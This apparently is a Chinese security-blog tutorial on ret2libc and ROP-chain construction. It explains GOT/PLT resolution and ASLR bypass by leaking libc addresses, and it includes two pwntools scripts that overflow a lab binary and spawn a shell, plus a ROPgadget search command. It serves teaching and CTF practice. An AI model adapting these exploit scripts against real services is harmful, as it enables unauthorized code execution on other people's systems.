pwn 随笔(中)
前言
本篇继前面的pwn随笔(上),主要针对rop链的构造展示研究。
安全热点
近日,全国首例全链条打击“非法获取公民车辆位置信息”案,在南京市鼓楼区人民法院公开开庭审理并当庭宣判。法院认为,停车信息及车辆行踪轨迹,反映特定自然人的生活、工作等活动情况,属于公民个人信息,应受法律保护。
关于pwn随笔(上)题目的更通用解法
当存在ASLR 时,我们会发现libc.so的地址每次都会不一样。
通用的解题思路是:先泄露出libc.so某些函数在内存中的地址,然后再利用泄露的函数地址计算出system()函数和/bin/sh字符串在内存中的地址。最后再构造我们的payload。
这里需要解释如下几个问题:
1、既然地址是随机的,那么为什么需要泄露libc.so某些函数在内存中的地址?
笔者是这样认为的,一个程序或多或少都会包含类似printf()、read()这种函数,在编译链接的过程中,就需要加载动态链接库。虽然目前地址随机化,但是动态链接库在内存中的位置是固定的。换一句话说,如果拿到了某些函数在内存中的地址,就可以解决地址随机的问题。
2、如何泄露libc.so某些函数在内存中的地址?
这里涉及到plt和got表,也是相对关键的对方,后面会对plt、got做较为详细的解释。总之记住,程序运行某些函数时,如write(),其实就是调用write@plt()。而真正的write()函数地址被记录在got表的write.got上面。程序通过write@plt()根据write.got跳转到真正的write地址上面。
3、如何利用泄露函数地址计算出system()函数和/bin/sh字符串在内存中的地址?
直接泄露system()函数和/bin/sh字符串在内存中的地址,在某些情况下,是不现实的。假设泄露函数是write(),那么system()和write()不管是在程序中,还是在lib.so中,相对地址是不变的。因此当我们得到write()地址和目标libc.so的地址后,就可以计算得到system()的地址。
4、再构造payload,是否意味着需要两个payload?
第一个payload,是为了确认泄露地址、system()地址和/bin/sh地址;第二个payload,是为了成功实施攻击。这里也被称为ret2libc。
基于上面的思路,提供的poc脚本(这也是一种rop构造,为后文做引子)如下:
#!/usr/bin/env python
from pwn import *
p = process('./level1')
libc = ELF('libc.so')
elf = ELF('level1')
#p = remote('127.0.0.1',10001)
plt_write = elf.symbols['write']
got_write = elf.got['write']
ret = 0x804842f
payload1 = 'A' * 112 +p32(plt_write)+p32(ret)+p32(1)+p32(got_write)+p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write']-next(libc.search('/bin/sh')))
payload2 = 'a'*112+p32(system_addr)+p32(ret)+p32(binsh_addr)
p.send(payload2)
p.interactive()
GOT表和PLT表的简要分析
编译程序的过程,需要经历预处理、编译、汇编、链接四个阶段,最后才生成可执行程序。但是当加载一个可执行文件时,系统并不是直接将所有的相关资源都加载到内存中,而是先建立一个映射关系。当程序运行时,系统会根据这个映射关系按需加载。假设某一个函数被调用,那么就把这个函数的相关数据加载到内存;反之,如果没有调用,那么这个函数就不会被加载到内存中。这个函数调用和加载的过程,导致了GOT和PLT的产生。
GOT表:全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。
PLT表:程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址。
关于GOT和PLT,这里放一张笔者过去的一张图:
下面针对图1和图2进行详细阐述:
1、第一次调用某一个函数的时候,通过plt表去访问got表,此时目标地址为空;然后got表通过_dl_runtime_resolve解析到函数地址,并将其真实地址保存在got表中,之后就可以直接调用该函数了。
2、当第二次包括之后去调用某一个函数时,通过plt可以直接访问到got表的目标地址,然后运行该函数。
ROP链的构造
ROP,(Return-Oriented programming,返回导向编程),一种高级内存攻击技术,其核心思想是利用以ret结尾的指令序列把栈中应该返回EIP的地址更改为攻击者需要的值,从而控制程序的执行流程,常见的有ret2shellcode、ret2text、ret2syscall、ret2libc等。
构造ROP攻击,需要的一般条件:
1、程序存在溢出点,并且可以控制返回地址。
2、可以找到满足条件的gadgets以及gadgets的地址。
参考资料:基本ROP讲解 - 知乎 (zhihu.com)
实验2:ROP链构造
实验目的:构造ROP链,通过ROP绕过DEP和ASLR.
1、使用编译命令,将之前的level1编译生成为level2。
2、寻找ROP
这里部分数据可以延用实验1的结果,直接去寻找合适的ROP。
使用ROPgadgets,在二进制中搜索关键字“pop ret”。
指令如下:
ROPgadget --binary level2 --only "pop|ret"
3、构建POC思路:(这里存在刻意使用rop的想法)
首先通过泄露write函数地址,得到system_addr的地址;然后基于system_addr计算bin/sh在文件中的地址;最后使用文件中的pop_ret地址,构建payload。
(读者,这里需要区分文件地址和动态库中的地址)。
构建的脚本如下:
#!/usr/bin/env python
from pwn import *
p = process('./level1')
libc = ELF('libc.so')
elf = ELF('level1')
#p = remote('127.0.0.1',10001)
plt_write = elf.symbols['write']
got_write = elf.got['write']
ret = 0x804842f
payload1 = 'A' * 112 +p32(plt_write)+p32(ret)+p32(1)+p32(got_write)+p32(4)
p.send(payload1)
write_addr = u32(p.recv(4))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system']) #得到文件中system的地址
binsh_addr1 = 0x00158e64 #libc中binsh地址
binsh_addr2 = next(libc.search("/bin/sh"))
binsh_offset = binsh_addr2 - libc.symbols['system']
binsh_addr = binsh_offset + system_addr
pop_ret = 0x080482c9 #文件中的rop地址
payload2 = 'A'*112 + p32(pop_ret) + p32(binsh_addr) + p32(system_addr)
p.send(payload2)
p.interactive()
总结
ROP的构造,是当前非常常用的一种攻击手法。细细体会rop链的构造,也可以解决之前ret不准确的问题。ROP最大的艺术就是在于gadgets千变万化的组合ROP的,后面的路还很长,一起加油!
参考资料:
深入了解GOT,PLT和动态链接 - evilpan
一步一步学ROP之linux_x64篇 - 知乎 (zhihu.com)
(154条消息) pwn学习资料整理——ROP技术_pwn rop_recover517的博客-CSDN博客
原文始发于微信公众号(星耀安全实验室):pwn 随笔(中)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论